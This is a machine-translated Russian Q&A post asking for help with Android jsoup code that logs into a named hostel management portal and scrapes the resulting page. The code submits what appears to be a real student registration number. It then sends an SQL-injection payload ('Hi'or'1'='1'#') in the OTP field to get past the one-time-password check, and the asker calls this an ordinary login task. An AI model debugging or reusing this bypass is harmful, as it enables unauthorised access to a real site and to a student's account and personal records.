Форма входа в систему Jsoup и вход и отображение данных для приложения Android - PullRequest
0 голосов
/ 10 декабря 2018

Я хочу зайти на сайт, показать каждую деталь и выполнить почтовый запрос на вход пользователя.Все это нужно сделать в приложении для Android, с помощью jsoup html parsing.

вот мой код Android-студии:

getbtn.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            getWebsite();
        }
    });

}

private void getWebsite() {

    new Thread(new Runnable() {
        @Override
        public void run() {
            final StringBuilder builder = new StringBuilder();
            try {

                Connection.Response initial = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .method(Connection.Method.GET).execute();

                Connection.Response login = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .data("reg_and_studid","RA1711003030443")
                        .data("subval","submit")
                        .cookies(initial.cookies())
                        .method(Connection.Method.POST)
                        .execute();
                Connection.Response login1 = Jsoup
                        .connect("https://www.srmimthostel.net/olms/check_student_record")
                        .data("otp_text","Hi'or'1'='1'#")
                        .data("otp_submit","submit otp")
                        .cookies(login.cookies())
                        .method(Connection.Method.POST)
                        .execute();

                Document doc = Jsoup
                        .connect("https://www.srmimthostel.net/olms")
                        .cookies(login1.cookies()) //use this with any page you parse. it will log you in
                        .get();
                String title = doc.title();
                Elements elements = doc.select("label");
                for (Element element:elements){
                    builder.append("\n").append("REg:").append(element.attr("text"));
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    result.setText(builder.toString());
                }
            });

        }
    }).start();

Пожалуйста, предоставьте ответы вот ссылка на сайт

...